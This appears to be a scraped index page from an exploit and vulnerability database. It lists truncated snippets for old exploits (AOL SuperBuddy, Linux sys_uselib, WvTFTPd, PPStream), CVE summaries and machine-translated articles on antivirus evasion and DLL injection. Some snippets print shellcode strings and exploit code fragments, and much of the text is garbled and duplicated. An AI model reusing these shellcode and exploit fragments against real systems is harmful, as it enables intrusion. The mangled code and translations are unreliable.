AOL 9.1 SuperBuddy SetSuperBuddy() Code Execution

Set obj = CreateObject"Sb.SuperBuddy.1" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

hook NtReadVirtualMemory interfere with anti-virus scanning-vulnerability warning-the black bar safety net

Article author: asmhttp://www.sbasm.cn Wrote a against scan something with you to share! The technical content is not high, large cow floating by.! Always write is a ring3 code, now very carefully put together a copycat version of the drive code, a long time not so seriously. Hope a big cow can...

pwned.c - linux 2.4 and 2.6 sys_uselib local root exploit

No description provided by source. / pwned.c - linux 2.4 and 2.6 sysuselib local root exploit. PRIVATE. it's not the best one, the ldt approach is definitively better. discovered may 2004. no longer private because lorian/cliph/ihaquer can lick my balls. c 2004 sd [email protected] requieres cca 1...

msaccess-activex.txt

/ Microsoft Access Snapshot Viewer ActiveX Control Exploit Ms-Acees SnapShot Exploit Snapview.ocx v 10.0.5529.0 Download nice binaries into an arbitrary box Vulnerability discovered by Oliver Lavery http://www.securityfocus.com/bid/8536/info Remote: Yes greetz to str0ke / include include define...

Novell Netware Client privilege escalation

.nicm device allows memory manipulation in kernel context...

i386_set_ldt-dos.txt

include include include include include include include int mainvoid union ldtentry descs; char buf; ulong pgsz = sysconfSCPAGESIZE; if buf = char mallocpgsz 4 == -1 perror"malloc"; exitEXITFAILURE; memsetbuf, 0x41, pgsz 4; buf = char ulongbuf & pgsz + pgsz; if mprotectchar ulongbuf + pgsz 2,...

ppstream-overflow.txt

// author: dummy // written by [email protected] 2007 define CRTSECURENODEPRECATE include include const unsigned char shellcode174 = 0xE8, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x03, 0xEB, 0x21, 0x7E, 0xD8, 0xE2, 0x73, 0x98, 0xFE, 0x8A, 0x0E, 0x8E, 0x4E, 0x0E, 0xEC, 0x55, 0x52, 0x4C, 0x4D, 0x4F, 0x4E, 0x00,...

fenice-overflow.txt

/ Fedora Core 6 exec-shield based Fenice OMS server fenice-1.10.tar.gz remote root exploit by Xpl017Elz Advanced exploitation in exec-shield Fedora Core case study URL: http://x82.inetcop.org/h0me/papers/FCexploit/FCexploit.txt Reference: http://www.securityfocus.com/bid/17678 vendor:...

CVE-2007-2052

Off-by-one error in the PyLocalestrxfrm function in Modules/localemodule.c for Python 2.4 and 2.5 causes an incorrect buffer size to be used for the strxfrm function, which allows context-dependent attackers to read portions of memory via unknown manipulations that trigger a buffer over-read due ...

CVE-2007-2052

CVE-2007-2052 affects Python 2.4 and 2.5 via the PyLocale_strxfrm function in Modules/_localemodule.c. The off-by-one error uses an incorrect buffer size for strxfrm, enabling context-dependent attackers to read memory via a buffer over-read caused by missing null termination. The MiracleLinux/Ne...

Concurrency-related vulnerabilities in browsers - expect problems

Good morning, "Fame-hungry sociopath torches cars, finds browser flaws WARSAW, Poland AP -- police are on a look out for a local adolescent vandal who continues to terrorize local IT workers in what appears to be a bizzare bid for fame. Larry Seltzer reports from the scene." Well, I just had to d...

Microsoft Windows 2000 kernel Asynchronous Procedure Call privilege escalation

Double removal of structure from linked list allows memory manipulation...

GLSA-200511-21 : Macromedia Flash Player: Remote arbitrary code execution

The remote host is affected by the vulnerability described in GLSA-200511-21 Macromedia Flash Player: Remote arbitrary code execution When handling a SWF file, the Macromedia Flash Player incorrectly validates the frame type identifier stored in the SWF file which is used as an index to reference...

CVE-2005-2709

The sysctl functionality sysctl.c in Linux kernel before 2.6.14.1 allows local users to cause a denial of service kernel oops and possibly execute code by opening an interface file in /proc/sys/net/ipv4/conf/, waiting until the interface is unregistered, then obtaining and modifying function...

To uncover the virus-the mystery of DLL remote inject technical explanation-vulnerability warning-the black bar safety net

DLL remote injection technology is currently the Win32 virus is a widely used technology. Using this technique the virus body is usually located in a DLL, At system startup, an EXE program will the DLL be loaded to some system processes 如 Explorer.exe in the run. As a result, the ordinary Process...

Linux Kernel 2.6.x - SYS_EPoll_Wait Local Integer Overflow Vulnerability 2

Linux Kernel 2.6.x SYSEPollWait Local Integer Overflow Vulnerability 2. CVE-2005-0736. Local exploit for linux platform source: http://www.securityfocus.com/bid/12763/info A Local integer overflow vulnerability affects the Linux kernel. This issue is due to a failure of the affected kernel to...

CVE-2005-0637

CVE-2005-0637 concerns the copyout functions in locore.s (notably OpenBSD 3.5 and 3.6) which may allow an attacker to exceed certain address boundaries and modify kernel memory. The underlying issue is a boundary/offset handling in these copy routines that can bypass protection checks, leading to...

WvTFTPd 0.9 - Remote Heap Overflow

WvTFTPd 0.9 - Remote Heap Overflow / wvtftp option name heap overflow remote root exploit infamous42md AT hotpop DOT com exploitation is not exactly straight forward. When we overflow our buffer, we overwrite a pointer that is freed before we get to trigger our overwrite. so we have to restore th...

WvTFTPd 0.9 Remote Root Heap Overflow Exploit

No description provided by source. / wvtftp option name heap overflow remote root exploit infamous42md AT hotpop DOT com exploitation is not exactly straight forward. When we overflow our buffer, we overwrite a pointer that is freed before we get to trigger our overwrite. so we have to restore th...

WvTFTPd 0.9 - Remote Heap Overflow

/ wvtftp option name heap overflow remote root exploit infamous42md AT hotpop DOT com exploitation is not exactly straight forward. When we overflow our buffer, we overwrite a pointer that is freed before we get to trigger our overwrite. so we have to restore the state of this pointer to some san...